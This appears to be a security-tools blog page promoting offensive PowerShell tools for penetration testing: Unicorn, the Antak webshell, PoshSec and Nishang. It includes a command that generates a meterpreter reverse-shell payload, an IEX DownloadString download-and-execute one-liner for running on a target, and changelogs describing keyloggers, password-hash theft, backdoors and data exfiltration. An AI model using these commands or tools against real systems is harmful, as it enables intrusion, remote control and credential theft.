Unicorn - Tool for using a PowerShell downgrade attack and inject shellcode straight into memory

Magic Unicorn is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory. Based on Matthew Graeber's powershell attacks and the powershell bypass technique presented by David Kennedy (TrustedSec) and Josh Kelly at Defcon 18.

Usage is simple, just run Magic Unicorn (ensure Metasploit is installed and in the right path) and magic unicorn will automatically generate a powershell command that you need to simply cut and paste the powershell code into a command line window or through a payload delivery system.

root@bt:~/Desktop# python unicorn.py
                                                     ,/
                                                    //
                                                  ,//
                                      ___   /|   |//
                                  `__/\_ --(/|___/-/
                               \|\_-\___ __-_`- /-/ \.
                              |\_-___,-\_____--/_)' ) \
                               \ -_ /     __ \( `( __`\|
                               `\__|      |\)\ ) /(/|
       ,._____.,            ',--//-|      \  |  '   /
      /     __. \,          / /,---|       \       /
     / /    _. \  \        `/`_/ _,'        |     |
    |  | ( (  \   |      ,/\'__/'/          |     |
    |  \  \`--, `_/_------______/           \(   )/
    | | \  \_. \,                            \___/\
    | |  \_   \  \                                 \
    \ \    \_ \   \   /                             \
     \ \  \._  \__ \_|       |                       \
      \ \___  \      \       |                        \
       \__ \__ \  \_ |       \                         |
       |  \_____ \  ____      |                        |
       | \  \__ ---' .__\     |        |               |
       \  \__ ---   /   )     |        \              /
        \   \____/ / ()(      \          `---_       /|
         \__________/(,--__    \_________.    |    ./ |
           |     \ \  `---_\--,           \   \_,./   |
           |      \  \_ ` \    /`---_______-\   \\    /
            \      \.___,`|   /              \   \\   \
             \     |  \_ \|   \              (   |:    |
              \    \      \    |             /  / |    ;
               \    \      \    \          ( `_'   \  |
                \.   \      \.   \          `__/   |  | 
                  \   \       \.  \                |  |
                   \   \        \  \               (  )
                    \   |        \  |              |  |
                     |  \         \ \              I  `
                     ( __;        ( _;            ('-_';
                     |___\        \___:            \___:

Unicorn is a PowerShell injection tool utilizing Matthew Graebers attack and expanded to automatically downgrade the process if a 64 bit platform is detected. This is useful in order to ensure that we can deliver a payload with just one set of shellcode instructions. This will work on any version of Windows with PowerShell installed. Simply copy and paste the output and wait for the shells.

Usage:

python unicorn.py payload reverse_ipaddr port Example: python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.5 443

Download Unicorn

Read More

Antak WebShell - A webshell which utilizes PowerShell

Antak is a webshell written in C#.Net which utilizes powershell. Antak is a part of Nishang and updates could be found here: https://github.com/samratashok/nishang

Use this shell as a normal powershell console. Each command is executed in a new process, keep this in mind while using commands (like changing current directory or running session aware scripts).

Executing PowerShell scripts on the target -

1. Paste the script in command textbox and click 'Encode and Execute'. A reasonably large script could be executed using this.
2. Use powershell one-liner (example below) for download & execute in the command box. IEX ((New-Object Net.WebClient).DownloadString('URL to script here')); [Arguments here]
3. By uploading the script to the target and executing it.
4. Make the script a semi-colon separated one-liner.

Files can be uploaded and downloaded using the respective buttons.

Uploading a file - To upload a file you must mention the actual path on server (with write permissions) in command textbox. (OS temporary directory like C:\Windows\Temp may be writable.) Then use Browse and Upload buttons to upload file to that path.

Downloading a file - To download a file enter the actual path on the server in command textbox. Then click on Download button.

Main Features:

• Upload a file
• Download a file
• Executing Scripts
• Remoting/Pivoting

Download Antak WebShell

Read More

[PoshSec Framework v0.2] Graphical Interface for Powershell scripts

The PoshSec Framework is a tool that is designed to provide a graphical interface for powershell scripts, functions, modules, and cmdlets.

It allows the community to write scripts that can interact with the interface by providing alerts, and output directly from their powershell scripts. This framework can be used for offensive, defensive, or simply system administrative tasks.

The PoshSec Framework is not merely a defense tool. It can be used for offense, defense, and even system administration. The whole idea is to give people a tool for powershell that isn’t just a command line. The roadmap is to add graphs, a dashboard, scheduling, reporting, etc. This is a very active project and I encourage you to download it and see what it can do for you. The sky is the limit. This project is not the sum of it’s code. It’s the sum of what the community wants to invest into it.

PoshSec video

Read more here about PoshSec

Download PoshSec Framework v0.2

Read More

[Nishang v0.3.0] The PowerShell for Penetration Testing released (introducing Powerpreter)

Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security and post exploitation during Penetraion Tests. The scripts are written on the basis of requirement by the author during real Penetration Tests.

Powerpreter is a powershell module. I decided to make it a part of Nishang as there is a large amount of repeated code. This post assumes that we have Administrative access to a Windows 7 machine. 

Powerpreter can surely be used as a non-admin user but obviously with limited (but still useful functionalities. Like other scripts in Nishang, I have tried my best to keep powerpreter compatible to powershellv2 so you may see some code which could be done by a cmdlet in powershellv3 and v4.

Changelog

• Added Powerpreter
• Added Execute-DNSTXT-Code
• Bug fix in Create-MultipleSessions.
• Changes to StringToBase64. It now supports Unicode encoding which makes it usable with -Encodedcommand.
• More Changes to StringToBase64. Now a file can be converted.
• Added Copy-VSS
• Information_Gather shows output in better format now.
• Information_Gather renamed to Get-Information.
• Wait for command renamed to HTTP-Backdoor.
• Time_Execution renamed Execute-OnTime
• Invoke-PingSweep renamed to Port-Scan
• Invoke-Medusa renamed to Brute-Force

More information about v0.3.0

Read More

[Nishang v.0.2.7] PowerShell for Penetration Testing

Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security and post exploitation during Penetraion Tests. The scripts are written on the basis of requirement by the author during real Penetration Tests.It contains many interesting scripts like download and execute, keylogger, dns txt pwnage, wait for command and much more.

Changelog:

- DNS_TXT_Pwnage, Time_Execution and Wait_For_Command can now be stopped remotely. Also, these does not stop autmoatically after running a script/command now. 

- DNS_TXT_Pwnage, Time_Execution and Wait_For_Command can now return results using selected exfiltration method. 

- Fixed a minor bug in DNS_TXT_Pwnage. 

- All payloads which could post data to the internet now have three options pastebin/gmail/tinypaste for exfiltration. 

- Added Get-PassHashes payload. 

- Added Download-Execute-PS payload. 

- The keylogger logs only fresh keys after exfiltring the keys 30 times. 

- A delay after success has been introduced in various payloads which connect to the internet to avoid generating too much traffic.    

Download Nishang v.0.2.7

Read More